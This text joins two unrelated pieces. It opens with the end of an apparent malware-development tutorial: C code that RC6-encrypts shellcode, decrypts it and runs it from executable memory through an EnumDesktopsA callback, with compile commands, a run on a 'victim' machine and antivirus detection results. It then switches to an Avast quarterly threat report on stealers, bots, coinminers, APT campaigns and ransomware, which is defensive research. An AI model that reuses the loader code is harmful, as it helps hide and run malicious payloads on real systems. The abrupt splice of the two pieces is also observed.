  *(WORD *)(pt + 0) = A, *(WORD *)(pt + 4) = B, *(WORD *)(pt + 8) = C, *(WORD *)(pt + 12) = D;
  return;
}

int main() {

  uint8_t key[KEYLEN] = { 0x24, 0x3F, 0x6A, 0x88, 0x85, 0xA3, 0x08, 0xD3, 0x45, 0x28, 0x21, 0xE6, 0x38, 0xD0, 0x13, 0x77 };
  WORD S[2 * ROUNDS + 4];
  rc6_setup(key, S);

  unsigned char data[] = {
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  };

  int data_size = sizeof(data);
  int padded_size = (data_size + 15) & ~15; // pad data to the nearest multiple of 16

  printf("original data:\n");
  for (int i = 0; i < data_size; ++i) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  unsigned char padded_data[padded_size];
  memcpy(padded_data, data, data_size);

  unsigned char encrypted[padded_size];
  unsigned char decrypted[padded_size];

  for (int i = 0; i < padded_size; i += 16) {
    uint8_t message_chunk[16];
    memcpy(message_chunk, padded_data + i, sizeof(message_chunk));

    rc6_encrypt(message_chunk, S, message_chunk);
    memcpy(encrypted + i, message_chunk, sizeof(message_chunk));

    rc6_decrypt(message_chunk, S, message_chunk);
    memcpy(decrypted + i, message_chunk, sizeof(message_chunk));
  }

  printf("padded data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", padded_data[i]);
  }
  printf("\n\n");

  printf("encrypted data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", encrypted[i]);
  }
  printf("\n\n");

  printf("decrypted data:\n");
  for (int i = 0; i < padded_size; ++i) {
    printf("%02x ", decrypted[i]);
  }
  printf("\n\n");

  // Compare decrypted data with original data
  if (memcmp(data, decrypted, data_size) == 0) {
    printf("encryption and decryption successful.\n");
  } else {
    printf("encryption and decryption failed.\n");
  }

  LPVOID mem = VirtualAlloc(NULL, data_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, decrypted, data_size);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (long long int)NULL);

  return 0;
}

As usually, for simplicity, used meow-meow messagebox payload:

unsigned char data[] = {
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
};

As you can see, for checking correctness, also added comparing and printing logic.

demo

Let’s go to see everything in action. Compile it (in my kali machine):

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

cryptography

Then, just run it in the victim’s machine (windows 10 x64 v1903 in my case):

.\hack.exe

cryptography

As you can see, everything is worked perfectly! =^..^=

Let’s go to upload this hack.exe to VirusTotal:

cryptography

https://www.virustotal.com/gui/file/19fd0084bd8b401a025ca43db4465c49e3aa51455483eeb0b3874e5991d6a022/detection

As you can see, only 21 of 71 AV engines detect our file as malicious.

But this result is not due to the encryption of the payload, but to calls to some Windows APIs like VirtualAlloc, RtlMoveMemory and EnumDesktopsA

Shannon entropy for first sections:

cryptography

In summary, RC6 encryption stands out as a really strong and flexible encryption algorithm, providing a multitude of benefits in comparison to alternative algorithms. RC6 encryption is commonly used to protect sensitive data, including financial information, medical records, and personal information.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal.

I often wrote about the results of my research here and at various conferences like BlackHat and BSides, and many emails and messages come with various questions. I try to answer questions and consider problems that are interesting to my readers.

RC6
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Avast Q4/2023 Threat Report

7 February 2024 at 14:00

10 Billion Attacks Blocked in 2023, Qakbot’s Resurrection, and Google API Abused

Foreword

Welcome to the new edition of our report. As we bid farewell to the year 2023, let’s briefly revisit the threat landscape that defined the past year. In 2023, the overall number of unique blocked attacks surged, reaching an unprecedented milestone of more than 10 billion attacks and a remarkable 49% increase year-over-year. This staggering figure, once considered unimaginable, now reflects the harsh reality of our digital landscape. The intensity of these attacks peaked in the final quarter, with a 17% quarter-on-quarter increase, and a monthly average exceeding 1.2 billion attacks.

Q4/2023 was an exceptionally eventful period marked by a myriad of cyber threat developments. Our featured story navigates the intricate PDF threat landscape, unveiling the surge in digital document deception. Threat actors capitalized on PDF files, weaving a complex web of attacks ranging from dating scams and phishing attempts to sophisticated password stealers exemplified by AgentTesla.

In a notable turn of events, this quarter marked the (predicted by many) reappearance of Qakbot, previously dismantled by the FBI. Despite law enforcement efforts, Qakbot resurfaced in December, revealing intriguing overlaps in distribution with Pikabot. Additionally, the sextortion bot Twizt expanded its repertoire by incorporating brute forcing of VNC endpoints.

In a quarter filled with significant developments, a noteworthy trend emerged in the realm of info-stealers. While these threats experienced a slight uptick, what sets this period apart is the

inventive abuse of the Google OAuth API for recovering authentication cookies by Lumma, Rhadamanthys, and other stealers. This novel approach significantly amplifies the impact of their malicious activities.

While there was an overall decline in coinminers, a staggering 250% quarter-on-quarter surge in malicious coinmining in the USA, propelled by the widespread dissemination of XMRig, stood out. Furthermore, adware on desktop maintained a heightened activity level, employing new tricks such as swift DNS record switches for ad servers.

We also observed a subtle uptick in ransomware attacks, featuring prominent groups like LockBit and ALPHV/BlackCat in the headlines. Meanwhile, law enforcement and cybersecurity entities counteracted, exemplified by the release of free decryption tools for Babuk-Tortilla and BlackCat.

Notably, a year after the takedown of the NetWire RAT, its eradication was affirmed. However, it was swiftly replaced by prominent RATs, but also new ones such as zgRAT, Krasue, or SugarGh0st.

Web threats continued to dominate, with scams, phishing, and malvertising ranking as the top threat types overall. The use of malicious browser push notifications escalated, becoming a preferred tool for scammers across various domains, from adult content sites to technical support scams, and financial frauds. Deepfake videos, especially those endorsing investment scams, displayed a heightened level of sophistication, challenging the ability to distinguish between real and fabricated content. Dating and romance scams, affecting approximately one in 20 of our users every month, showcased a global reach, expanding beyond western countries to target the Arab states and Asia. With Valentine’s Day approaching, an upward trend in these scams is anticipated. Furthermore, the conclusion of the year saw a surge in fake e-shops masquerading as renowned brands, leading unsuspecting victims into phishing traps.

Furthermore, the mobile threat landscape continued to evolve, witnessing the resurgence of the Chameleon banker and the insidious spread of SpyLoans on the PlayStore, posing serious threats, including physical violence blackmail.

Finally, as we venture into 2024, we anticipate a dynamic year ahead. Our team has ventured into the realm of predictions for 2024, foreseeing the evolving trends in cyber threats. While we hope our predictions do not come to fruition, and the digital space becomes safer than the close of 2023, your safety remains our top priority. Thank you for your trust in Avast. Enjoy the rest of the report.

Jakub Křoustek, Malware Research Director

Methodology

This report is structured into two main sections: Desktop-related threats, where we describe our intelligence around attacks targeting the Windows, Linux, and Mac operating systems, with a specific emphasis on web-related threats, and Mobile-related threats, where we describe the attacks focusing on Android and iOS operating systems.

We use the term “risk ratio” in this report to denote the severity of specific threats. It is calculated as a monthly average of “Number of attacked users / Number of active users in a given country.” Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month.

A blocked attack is defined as a unique combination of the protected user and a blocked threat identifier within the specified time frame.

Featured Story: The PDF Threat Landscape

In recent times, the cybersecurity landscape has seen a surge in sophisticated malware attacks, with cybercriminals exploiting various vectors to compromise systems and networks. One particularly concerning trend has been the expansion of malware threats through PDF files, a widely used format for document sharing and collaboration.

PDF files have long been a favored medium for sharing documents due to their platform-agnostic nature and consistent formatting across different devices and operating systems. However, this ubiquity has made them an attractive vector for cybercriminals seeking to deliver malware discreetly. Furthermore, PDF attachments are often allowed by default by spam gateways, adding another layer of vulnerability. What’s more, PDF files can be seamlessly opened on both PCs and mobile devices, making them the ultimate delivery payload, further amplifying their appeal as a method for delivering malicious payloads (for example embedding a malicious Word file into a PDF file). Additionally, attackers have begun using bogus URLs, often disguising them through services like the sLinks link shortener, in an effort to bypass antivirus scanners and heighten their chances of successful deployment.

Social engineering is always present in the work of cyberthreats, and we can analyze the typical behaviors used to fool users. One common example is a message that supposedly come from a known company, such as Amazon or some financial entity, with a clearly defined message, such as:

  1. Your account has been blocked.
  2. You are given the means to unblock it.
  3. If you don’t do it in 24 hours, you’ll lose access to your account forever.

The sense of urgency is key in most scams, encouraging victims to act fast and not think twice about the situation. Some other scams are more subtle. The below example poses as Netflix, describing problems with your payment. The simple message – utilizing Netflix branding – indicates an issue with your payment and asks you to update your details:

Phishing PDF – Netflix

Once you click the link, you are brought through the steps to enter your financial information, which is then taken by the malicious actors.

Another common scam is the good old lottery scam. In this scam, you’ve been awarded with some lottery prize (without even participating, how lucky!) and you are asked to send some personal details to receive the money. Of course, if you contact the scammers, they will ask you for some money in advance to pay the transfer fees.

Many types of attacks are suitable in PDF format – we have even seen dating scams, because… why not? But PDF-based attacks can also include malware, where the final payload will infect your device, as shown in the following example:

Malware PDF – final payload: AgentTesla

In recent malware campaigns, we have observed a spectrum of threats and scams, ranging from simple ones like lottery and dating scams, through phishing PDFs containing deceptive

information and a link to a phishing page, to complex campaigns delivering more sophisticated threats in JavaScript or embedded objects, culminating in strains such as AgentTesla, DarkGate, GuLoader, IcedID, RemcosRat, Ursnif, Qakbot or various APT groups. We have blocked more than 10 million PDF-based attacks, protecting more than 4 million users worldwide:

Pdf threats blocked in the last 6 months

The proliferation of PDF-based cyber threats underscores a significant shift in the tactics of cybercriminals. These attacks, ranging from simple scams to complex malware deliveries, demonstrate the adaptability and cunning of attackers in exploiting trusted digital mediums. PDF files, due to their ubiquity and inherent trust, have become a prime vector for a variety of malicious activities. This trend not only reflects the innovative methods of cybercriminals but also highlights the vulnerabilities inherent in everyday digital interactions.

The examples provided reveal a common thread: the exploitation of human psychology. The sense of urgency, the promise of rewards, and the fear of loss are leveraged to manipulate victims. Moreover, the transition from simple deception to sophisticated malware payloads like AgentTesla, DarkGate, and others, indicates a disturbing escalation in the severity of these threats.

Our analysis shows that, despite the diversity of these attacks, they share a reliance on social engineering and the exploitation of trusted channels. As we have successfully blocked a sizeable number of these attacks, it’s clear that robust cybersecurity measures can be highly effective. However, the battle is not solely technological. Education and awareness play a crucial role. Users must be vigilant, question the authenticity of unsolicited communications, and be aware of the signs of phishing and scams.

Luis Corrons, Security Evangelist
Branislav Kramár, Malware Analyst

Desktop-Related Threats

Advanced Persistent Threats (APTs)

An Advanced Persistent Threat (APT) is a type of cyberattack that is conducted by highly skilled and determined hackers who have the resources and expertise to penetrate a target’s network and maintain a long-term presence undetected.

The final quarter of 2023 has been marked by a series of sophisticated cyberattacks, underlining the persistent and evolving threats posed by Advanced Persistent Threat (APT) groups worldwide. These threat actors have demonstrated their capability and intent to target governmental and military entities, employing a range of techniques from spear-phishing to complex malware.

Spyware Campaign Against Government Entities in the Philippines

In the Philippines, government entities became the focus of a spyware campaign in Q4 2023. This operation utilized an infection chain that incorporated various techniques including spyware, PowerShell and .NET stealers, and spear-phishing as an infection vector. The complexity of this campaign was notable, with each stage employing different methods to infiltrate, monitor, and extract sensitive information from targeted systems. This demonstrates a high level of sophistication and resource investment.

MustangPanda’s Diverse Geographic Targets

MustangPanda, a well-known APT group, extended its operations across several countries, including Vietnam, Australia, the Philippines, Myanmar, and Taiwan. Their operations are marked using the well-known Korplug malware, demonstrating their preference for proven and effective tools in their cyber arsenal. Additionally, this group has been observed utilizing malware written in the Nim programming language. A key technique in their arsenal is the frequent use of sideloading, a method where they load malware by exploiting legitimate software processes.

Attacks on the Pakistani Military

Pakistan’s military was the target of multiple APT groups including groups like Donot and Bitter, signifying the critical importance of military institutions as high-value targets in cyberspace. The attackers employed a combination of spear-phishing as an infection vector, LNK files, and custom backdoors. These attacks underscore the need for heightened cybersecurity measures within military networks, given their attractiveness to a wide range of threat actors.

Lebanese Government Entities Under Siege

The Lebanese government also faced cyber threats, with a threat actor employing a similar range of techniques seen in other attacks, including spear-phishing, LNK files. The infection chain in these attacks was complex, starting with LNK files and moving through various stages including VBScript, BAT files, AutoIT scripts, and eventually leading to the deployment of a custom backdoor. This layered approach to infiltration reflects a strategic methodology designed to evade detection at multiple points, illustrating the lengths to which attackers are willing to go to maintain persistence and control within a targeted network.

Gamaredon’s Aggressive Cyber Campaign in Ukraine

Ukraine has been the target of Gamaredon group’s prolonged and aggressive cyber campaign, marked by a range of intrusive techniques. Their approach includes spear-phishing to gain initial access, followed by the deployment of obfuscated VBScripts and PowerShell scripts, complicating detection efforts. They also use document stealers to illicitly gather sensitive data. Uniquely, the group employs Telegram for disseminating Command and Control (CnC) IPs, a tactic aimed at evading traditional communication surveillance. Further, they spread malware through infected documents and LNK files. In their operations, they also utilize DNS services to acquire IP addresses directly, a technique intended to reduce detection by avoiding the use of domain names. This campaign has resulted in numerous victims, demonstrating Gamaredon’s persistent threat to Ukrainian cybersecurity.

Lazarus

In this quarter, we were monitoring increased activity from the Lazarus group. From our telemetry, it was evident that they continued to utilize ISO files combined with LNK files as an initialization loader for delivering payloads into systems.

In early October, Microsoft observed Lazarus exploiting CVE-2023-42793, a remote-code execution vulnerability impacting various versions of JetBrains, to deploy payloads. Following a successful compromise, they utilized PowerShell to download two payloads from legitimate infrastructure.

We also identified the same toolset being employed to our customers, predominantly those located in Europe.

In December, Cisco Talos reported on a new campaign by Lazarus. In this instance, they were employing a new Dlang-based malware, featuring two Remote Access Trojans (RATs). One of these RATs utilized Telegram bots and channels as a means of communication with the Command-and-Control servers.

This campaign targeted enterprises globally, focusing on those publicly hosting and exposing vulnerable infrastructure to n-day vulnerabilities such as CVE-2021-44228 (Log4j). The sectors primarily under attack included manufacturing, agriculture, and physical security companies.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher

Adware

Adware is considered unwanted if installed without the user’s consent, tracks browsing behavior, redirects web traffic, or collects personal information for malicious purposes such as identity theft.

The rise in popularity of adware can be attributed to its potential for monetization and the dissemination of potentially unwanted programs (PUP) and malware. Moreover, advertisements promoting legal software also employ deceptive adware practices, which verge on the boundaries of scam-like activities. We classify these techniques as annoying and protect our users against this approach. While spreading malware through adware is not the predominant method for infecting victims’ machines overall, our attention in Q4/2023 has been directed toward detecting adware to monitor this potential threat closely.

Adware actors exhibit high flexibility, continuously adjusting their techniques to evade antivirus detection. As a result, it becomes imperative to remain dynamic and consistently adapt to the evolving strategies employed by these actors. The below graph illustrates adware blocks over Q3 and Q4 of 2023. These blocks consist of a diverse array of techniques we actively block and respond to effectively counter the evolving threat of adware – the ongoing cat-and-mouse game.

Global Avast risk ratio from adware for Q3/2023 and Q4/2023

The global risk ratio of adware in Q4 2023 was similar to the previous quartile. Nevertheless, the prevalence of desktop adware remains significantly elevated. The most affected regions remain South America, Africa, Southeast Asia, and Southeast Europe, as the map below illustrates

Map showing the global risk ratio for Adware in Q4/2023
Adware Share

One of the more sophisticated adware techniques is switching DNS records for ad servers characterized by remarkably short TTL. Therefore, it is impossible to pinpoint the precise strain of adware. The most prevalent DNS records of ad servers in Q4/2023:

  • agriculturalpraise[.]com
  • formationwallet[.]com
  • plundertentative[.]com
  • supportedbushesimpenetrable[.]com
  • nutsmargaret[.]com
  • facilitypestilent[.]com
  • suchbasementdarn[.]com
  • usetalentedpunk[.]com

Consequently, a substantial percentage, 54% of adware strains, falls under the category of unknowns. The remaining shares are distributed among other adware strains in the following manner:

  • SocialBar (38%)
  • DealPly (2%)
  • Neoreklami (1%)

Martin Chlumecký, Malware Researcher

Bots

Bots are threats mainly interested in securing long-term access to devices with the aim of utilizing their resources, be it remote control, spam distribution, or denial-of-service (DoS) attacks.

In comparison to the previous quarters, this quarter was roller-coaster with many changes in the landscape. The dust hadn’t even settled on Qakbot’s former infrastructure following its FBI takedown in August 2023 before we witnessed its resurgence in December. The number of our users that have been targeted by Qakbot has doubled in Q4 2023 compared to the previous quarter. While this seems to be a significant increase, it is still dwarfed by its activity before the takedown. Its binaries also went through some overhaul, embracing 64-bit architecture and relying on AES instead of XOR for string encryption. Interestingly, a rather new strain Pikabot exhibited overlaps in distribution related TTPs (thread hijacking and second-stage retrieval) with Qakbot and it was, incidentally, also gaining traction in the landscape, doubling the number of affected users compared to the previous quarter.

Phorpiex’s successor, dubbed Twizt, expanded on its payloads this quarter. Aside from spam/sextortion payloads, we’ve seen previously unseen payloads that have featured code for brute-forcing credentials to VNC (remote desktop sharing protocol) endpoints in both local network and randomly generated IP address for potential publicly accessible endpoints.

The overall risk ratio of bots increased at the end of 2023, partially fueled by Qakbot’s resurgence in December. As for other notable changes in the strain prevalence, we’ve seen a huge drop (-48%) in Amadey infections and a steady increase in Emotet (+14%) and Twizt (+27%) infections.

Global risk ratio in Avast’s user base regarding bots in Q4/2023

The last mention of bots goes to NoName056(16) and their DDosia project, which had a rather turbulent quarter. Presumably to hinder tracking attempts by malware researchers, the group has reworked their configuration distribution protocol, including its client authentication. Nevertheless, the first implementation was unstable and ridden with software bugs for both server and client implementations. This has dramatically reduced the project’s efficacy in the short term until these blocking issues were resolved. Shortly after the deployment, the authentication protocol was simplified, and the encryption mechanism was changed shortly due to reported problems with client-attribution statistics. These resulted in reduced rewards for the project’s participants.

A moving average of DDosia’s cadence of announcements of new victims on their Telegram
channel.

As for their general operations, there were not many changes. Attacks on various European and Ukrainian banks were attempted throughout the whole quarter. While the first wave of attacks was met with some success, successive attacks rarely succeeded despite the group’s claims on their Telegram channel. The choice of targets still follows the usual modus operandi, meaning that new configurations were usually spurred by various politicians’ statements directed against Russia and their invasion of Ukraine. Unfortunately, the trend reversal in the number of DDosia project participants still holds with the number of participants linearly increasing throughout the quarter to a little over 16,000 participants. This quarter, the most affected TLDs were .cz, .de, and .fr, each having more than 10% of targeted domains.

Number or participants in the DDosia project
Share of TLDs targeted by DDosia project

Adolf Středa, Malware Researcher
Martin Chlumecký, Malware Researcher

Coinminers

Coinminers are programs that use a device’s hardware resources to verify cryptocurrency transactions and earn cryptocurrency as compensation. However, in the world of malware, coinminers silently hijack a victim’s computer resources to generate cryptocurrency for an attacker. Regardless of whether a coinminer is legitimate or malware, it’s important to follow our guidelines.

When compared to the previous quarter, we observed another decrease in the prevalence of coinminers in Q4/2023, with the risk ratio dropping by 14%. However, even though it is a rather significant drop, we note that it doesn’t mean coinminers are a lesser threat, unfortunately. This is because we also observed rather significant shift in the market share with a decline in web miners giving way to an extensive rise of XMRig and other executable coinminers which are, in general, more dangerous forms of coinmining.

Geographically, we also observed a shift during Q4/2023 where the attacks were more prevalent in specific countries, lowering the global spread with relations to risk ratio.

Map showing global risk ratio for coinminers in Q4/2023

First and foremost, we measured two huge increases in risk ratio in United States and Turkey by almost 250% and 200%, respectively. We measure another more significant surge in Hungary, Poland, India, and Egypt were the risk ratio increased by 85%, 52%, 50%, and 40%, respectively. On the other hand, users in France and Belgium were less prone to getting infected with coinminers the risk ratio decreased by 80% and 78%, respectively.

In the graph below, we can observe the numbers skyrocket with regards to risk ratio of getting a coinminers in the United States.

Daily risk ratio in our user base in US regarding coinminers in Q4/2023

As we mentioned before, this quarter shifted more towards traditional executable coinmining instead of web miners. This resulted in XMRig having a significant dominance of a total 64% malware share with a huge 169% increase this quarter. Web miners lost their malware share by 68%, holding a malware share of 19% which is a long-time lowest.

In general, we denote this as a more dangerous threat opposed to the web miners since XMRig and other executable strains usually run on the background of the whole system, not only on the visited webpage. Furthermore, coinminers tend to be bundled with other malware types as well, meaning the scope of the infection might be even bigger in these cases.

The most common coinminers with their malware share in Q4/2023 were:

  • XMRig (63.69%)
  • Web miners (19.20%)
  • CoinBitMiner (2.14%)
  • SilentCryptoMiner (2.04%)
  • FakeKMSminer (1.47%)
  • NeoScrypt (1.20%)
  • CoinHelper (0.86%)

Jan Rubín, Malware Researcher

Information Stealers

Information stealers are dedicated to stealing anything of value from the victim’s device. Typically, they focus on stored credentials, cryptocurrencies, browser sessions/cookies, browser passwords and private documents.

Q4/2023 brought a new and interesting stealing capability which was rapidly adapted by information stealers – abusing Google OAuth endpoint for recovering authentication cookies. Lumma for example, a rapidly rising malware-as-a-service (MaaS) stealer, was supposedly the first to advertise and adapt the technique.

Lumma info-stealer changelog (Source: BleepingComputer)

Many big information stealer groups, including MaaS players, have already jumped on this new threat. This includes (but is not limited to) Rhadamanthys, Stealc, Meduza, and MetaStealer.

The technique is abusing a Google OAuth “MultiLogin” API endpoint. This endpoint is used for synchronizing accounts across Google services. When the malware decrypts a session token and Gaia ID from the local browser files on the infected device, it is further able to perform a request to the “MultiLogin” API endpoint, recovering the authentication cookie. Note that when this “token and ID” pair is exfiltrated rather than directly used from the victim’s system, the malware authors may use this information on backends instead, trying to avoid AV and EDR monitoring.

Currently, the mitigation is rather limited. According to CloudSEK researchers, the authentication cookie survives even a (sole) reset of the user’s password. In fact, if a user was affected, they need to firstly log out of their Google account to revoke the synchronization OAuth cookie (or sign-out from/kill all active sessions: http://g.co/mydevices), change the password, and log back in.

Unfortunately, these are all reactive steps in a sense that the user needs to know that they were affected. The problem is further underlined by the fact that Google currently doesn’t plan to rework the “MultiLogin” endpoint, or mitigate the API abuse by proactive means.

DNS-based threats

The Domain Name System (DNS) is a decentralized naming system that translates user-friendly domain names into numerical IP addresses for network devices to identify each other. However, this system is now becoming popular for carrying out attacks. Usually, threat actors misuse DNS for these reasons:

  • The malware can receive commands and instructions, enabling two-way communication
  • The threat actor can deploy an additional payload onto the infected device
  • Information stealers can exfiltrate sensitive data from the infected device
  • The communication is more obfuscated, rendering it more difficult to track properly
  • The communication is usually enabled by default, since the traffic operates on a common port 53
  • The traffic may bypass traditional AVs and gateways due to the possible lack of monitoring and scanning

Attackers can use many techniques to achieve this, for example performing DNS tunneling, DNS cache poisoning, DNS fast fluxing, or using rogue/malicious DNS servers, to name a few.

We see threat actors adapting DNS-based techniques already, including notorious malware strains. This includes information stealers like ViperSoftX or DarkGate (also known as Meh) for more obfuscated payload delivery, multi-modular backdoor DirtyMoe for obfuscated communication, or Crackonosh for its update routine.

For further information about DNS-based threats and how we protect our users against them, read our dedicated blog post on Decoded.

Statistics

In Q4/2023, we observed a 6% increase in information stealer activity in comparison with the previous quarter. This increase is mostly due to  the rise of Lumma stealer as well as Stealc and by an increase in activity of various online JavaScript scrapers.

Daily risk ratio in our user base regarding information stealers in Q4/2023

The highest risk of information stealer infections currently exists in:

  • Turkey (3.01%) with 46% Q/Q increase
  • Pakistan (2.32%) with 6% Q/Q decrease
  • Egypt (1.98%) with 3% Q/Q increase

Thankfully, we observed a significant 12% decrease of information stealers’ activity in the United States.

Map showing global risk ratio for information stealers in Q4/2023

Unsurprisingly, AgentTesla still holds its place  as the most popular information stealer, capturing 26% of the global information stealers market share. However, this malware share is lower when compared to the previous quarter due to the 11% decrease. Formbook also experienced a decrease in market share by 10%, having 10% market share now. Unfortunately, various JavaScript scrapers/exfilware were also far more active this quarter, marking 6.08% market share now.

According to our data, Raccoon stealer had another rough couple of months, losing its market share by additional 21%, for a current total of 1.54% market share.

The most common information stealers with their malware shares in Q4/2023 were:

  • AgentTesla (26%)
  • FormBook (10%)
  • Fareit (6%)
  • RedLine (4%)
  • Lokibot (3%)
  • Lumma (3%)
  • Stealc (2%)
  • OutSteel (2%)
  • ViperSoftX (2%)
  • Raccoon (2%)

Jan Rubín, Malware Researcher

Ransomware 

Ransomware is any type of extorting malware. The most common subtype is the one that encrypts documents, photos, videos, databases, and other files on the victim’s PC. Those files become unusable without decrypting them first. To decrypt the files, attackers demand money, “ransom”, hence the term ransomware.

Hacks, breaches, stolen data. Almost every day, we can read about a new data breach or data extortion campaign from one of the many ransomware gangs. The intensity and frequency are stunning; for example, the LockBit data leak site showed 65 new attacked companies in 15 days (from Oct 23 to Nov 7, 2023). That is more than 4 new companies attacked each day!

List of companies attacked by LockBit in 15 days (Oct 23-Nov 7, 2023)

As of the time of writing this article, the site lists 217 companies that were allegedly attacked, which makes LockBit the most active ransomware gang worldwide.

